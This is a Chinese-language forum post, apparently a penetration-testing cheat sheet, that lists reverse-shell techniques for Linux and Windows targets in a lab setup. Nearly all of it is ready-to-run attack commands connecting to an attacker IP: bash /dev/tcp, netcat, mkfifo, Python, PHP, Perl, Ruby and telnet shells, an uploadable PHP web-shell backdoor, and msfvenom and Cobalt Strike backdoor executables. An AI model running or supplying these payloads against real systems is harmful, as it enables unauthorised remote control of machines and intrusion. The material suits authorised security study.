攻击机:192.168.88.146 kali
目标:IP随机;Ubuntu
没有说明特殊情况的,命令都是在目标机器执行,攻击机使用nc进行监听
攻击机使用nc对本地端口进行监听:nc -lvvp [port]
在目标机上运行:bash -i >& /dev/tcp/192.168.88.146/4444 0>&1
这个shell由bash或者sh解析,有时候会出现错误。
[!!当权限不够的时候,可能就会出现这个情况,导致反弹失败]
nc -e /bin/bash 192.168.88.146 4444 #不同的版本可能不能使用-e 参数,比如我用于实验的Ubuntu,所以这个演示在kali上进行。
对于不能使用-e参数的,可以使用其他方法:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.88.146 4444 >/tmp/f
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.88.146",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
使用命令查看可以用的payload msfvenom -l payloads 'cmd/unix/reverse'、
生成一个反弹命令:msfvenom -p cmd/unix/reverse_xxxx lhost=192.168.88.146 lport=4444 R
当可以在终端直接调用php的时候:
php -r '$sock=fsockopen("192.168.88.146",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
也可以直接上传一个php的反弹文件,然后进行访问,也可以得到shell。
<?php
set_time_limit(0);
$ip=$_POST['ip'];
$port=$_POST['port'];
$fp=@fsockopen($ip,$port,$errno,$errstr);
if(!$fp){echo "error";}
else{
fputs($fp,"\n+++++++++++++connect sucess+++++++++\n");
while(!feof($fp)){
fputs($fp,"shell:");
$shell=fgets($fp);
$message=`$shell`;
fputs($fp,$message);
}
fclose($fp);
}
?>
对文件进行上传访问,以post的方式传参ip和port,就可以将服务器shell反弹到攻击机。
mknod a p; telnet 192.168.88.146 4444 0<a | /bin/bash 1>a
还有一种反弹方式,这个需要开启两个监听端口,一个实现使用命令,一个实现接受信息。
telnet 192.168.88.146 6666 | /bin/bash | telnet 192.168.88.146 4444
perl -e 'use Socket;$i="192.168.88.146";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
ruby -rsocket -e'f=TCPSocket.open("192.168.88.146",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
说明:在windows的反弹中,一些写在linux中的关于利用语言做个反弹也都可以实现。
攻击机:192.168.88.146 kali;192.168.88.1 Microsoft Windows 10 家庭中文版
目标:IP随机; Microsoft Windows 10 企业版 LTSC
可以直接利用已知的漏洞免写入磁盘执行反弹,可以打包成Exe文件或者其他windows可执行的文件进行反弹。
msf命令:msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.88.146 lport=6666 -f exe -o shell.exe
在msf中进行监听:设置好ip,端口,payload
在windows环境中运行生成的payload
攻击机获取到反弹的shell
使用CS生成一个exe后门文件,也可以生成其他windows可执行的文件或者powershell指令。
选择监听器和输出类型:
生成一个payload,保存。
将文件在windows上运行。cs拿到shell
攻击机开启监听:nc -lvvp 6666
目标机执行命令: nc -t -e cmd.exe 192.168.88.146 6666
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-劲夫 | 50.00 | 0 | 2022-04-15 14:02:28 | 一个受益终生的帖子~~ |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.